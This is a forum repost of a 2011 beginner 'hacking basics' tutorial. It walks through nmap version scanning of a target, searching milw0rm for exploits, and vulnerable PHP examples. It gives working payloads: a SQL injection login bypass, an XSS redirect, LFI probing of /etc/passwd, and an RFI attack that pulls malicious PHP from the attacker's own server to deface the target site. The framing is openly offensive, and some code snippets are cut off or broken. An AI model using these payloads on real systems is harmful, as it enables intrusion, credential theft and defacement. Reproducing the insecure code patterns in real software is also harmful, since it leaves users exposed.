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Rameez Ajmeri

The Absolute Basics of Hacking

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The Absolute Basics of Hacking

Post by LiF3 H4CK3R on Wed Mar 02, 2011 11:34 am

The Absolute Basics of Hacking
A writeup by @ltern@te_re@lity

Hello and welcome to this tutorial. If you see all the text on this page, and are afraid, you're not meant to be a hacker, quit now. Also, please know now that unlike in the movies, not everything is hackable. I will be writing about the basics of hacking servers; I will cover how to scan and/or exploit vulnerable daemons (services) running on the target server, and how to discover and/or exploit web-script vulnerabilities. You will need to know your way around a computer before reading this. And if you don't know what a word means, Google or Wiki it!; if you don't understand a concept, post here and I will try to clarify. Thanks for reading, hope this helps.

Recommended Tools
Port Scanner - nmap - [You must be registered and logged in to see this link.]
Browser - FireFox - [You must be registered and logged in to see this link.]

Daemon Vulnerabilities
Daemons (also commonly known as services) are the processes that run on a computer that allow it to do things such as serve pages with the HTTP protocol, etc. (although they do not always necessarily interact over a network). Sometimes these daemons are poorly coded, which allows for an attacker to send some sort of input to them, and they either crash, or in worse cases, they run any code the attacker chooses.

Scanning For Vulnerabilites
Well, this is where a little common sense comes in, because we need to answer one question: Which ports to scan? Well, with a little googling, we'd know that the default port for the HTTPD (web daemon) is 80, for the FTPD it's 21, etc. So if we wanted to know the version of the HTTPD running on the server, we'd run "nmap targetsite.com -p 80 -sV". NOTICE the -sV argument; it is vital, otherwise nmap will just return whether or not the port is open, and won't provide us with the daemon's version. This is great and all, but we don't want to just scan one port at a time do we? Well nmap has us covered there, so just scan multiple ports by seperating each target port with a comma (,) like so: "nmap targetsite.com -p 21,80 -sV". However, if you don't mind the scan taking a while longer, you can scan a range of ports like so: "nmap targetsite.com -p 1-1000 -sV". This will scan all ports between 1 and 1000.

Checking For Vulnerability
After your scan has finished, nmap will display the open ports on your target, along with their version (if they were identifiable, usually they are). An example return would look like this: "80/tcp open http Apache httpd 2.0.32". Taking this information, we search on milw0rm for "Apache". After skimming through the results, we see that the target is vulnerable to this vulnerability, which when run on the target server will make it crash.

Using the Exploits
This varies, depending on the language that the exploit is coded in; google on how to do this, since it would just be wasting my time how to use all of the different languages here.

Common Web-Script Vulnerabilities
In this section, I will be writing about vulnerabilities in a webserver's server-sided code. Here are the topics I will be covering:

* SQL Injection
* XSS (Cross-Site Scripting)
* RFI/LFI (Remote/Local File Include)

SQL Injection
SQL injection is the act of injection your own, custom-crafted SQL commands into a web-script so that you can manipulate the database any way you want. Some example usages of SQL injection: Bypass login verification, add new admin account, lift passwords, lift credit-card details, etc.; you can access anything that's in the database.

Example Vulnerable Code - login.php (PHP/MySQL)
Here's an example of a vulnerable login code
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
    echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
    $sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
    $ret = mysql_query($sql);
    $ret = mysql_fetch_array($ret);
    if ($ret[0] != "") {
        echo("Welcome, $user.");
    } else {
        echo("Incorrect login details.");
Basically what this code does, is take the username and password input, and takes the users's IP from the database in order to check the validity of the username/password combo.

Testing Inputs For Vulnerability
Just throw an "'" into the inputs, and see if it outputs an error; if so, it's probably injectable. If it doesn't display anything, it might be injectable, and if it is, you will be dealing with blind SQL injection which anyone can tell you is no fun. Else, it's not injectable.

The Example Exploit
Let's say we know the admin's username is Administrator and we want into his account. Since the code doesn't filter our input, we can insert anything we want into the statement, and just let ourselves in. To do this, we would simply put "Administrator" in the username box, and "' OR 1=1--" into the password box; the resulting SQL query to be run against the database would be "SELECT `IP` FROM `users` WHERE `username`='Administrator' AND `password='' OR 1=1--'". Because of the "OR 1=1", it will have the ability to ignore the password requirement, because as we all know, the logic of "OR" only requires one question to result in true for it to succeed, and since 1 always equals 1, it works; the "--" is the 'comment out' character for SQL which means it ignores everything after it, otherwise the last "'" would ruin the syntax, and just cause the query to fail.

XSS (Cross-Site Scripting)
This vulnerability allows for an attacker's input to be sent to unsuspecting victims. The primary usage for this vulnerability is cookie stealing; if an attacker steals your cookie, they can log into whatever site they stole your cookie from under your account (usually, and assuming you were logged in at the time.)

Example Vulnerable Code - search.php (PHP)
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo("You searched for $s. There were no results found");

Testing Inputs For Vulnerability
For this, we test by throwing some HTML into the search engine, such as "<font color=red>XSS</font>". If the site is vulnerable to XSS, you will see something like this: XSS, else, it's not vulnerable.

Example Exploit Code (Redirect)
Because we're mean, we want to redirect the slave to goatse (don't look that up if you don't know what it is) by tricking them into clicking on a link pointed to "search.php?search=<script>window.location='http://goatse.cz/'</script>". This will output "You searched for <script>window.location='http://goatse.cz/'</script>. There were no results found" (HTML) and assuming the target's browser supports JS (JavaScript) which all modern browsers do unless the setting is turned off, it will redirect them to goatse.

RFI/LFI (Remote/Local File Include)
This vulnerability allows the user to include a remote or local file, and have it parsed and executed on the local server.

Example Vulnerable Code - index.php (PHP)
$page = $_GET['p'];
if (isset($page)) {
} else {

Testing Inputs For Vulnerability
Try visiting "index.php?p=http://www.google.com/"; if you see Google, it is vulnerable to RFI and consequently LFI. If you don't it's not vulnerable to RFI, but still may be vulnerable to LFI. Assuming the server is running *nix, try viewing "index.php?p=/etc/passwd"; if you see the passwd file, it's vulnerable to LFI; else, it's not vulnerable to RFI or LFI.

Example Exploit
Let's say the target is vulnerable to RFI and we upload the following PHP code to our server
system("echo Hacked > index.php");
and then we view "index.php?p=http://our.site.com/malicious.php" then our malicious code will be run on their server, and by doing so, their site will simply say 'Hacked' now.

Tutorial inspired by: the avoidance of homework. Now that you read all that, gtfo
Rameez (ADMIN)
Rameez (ADMIN)

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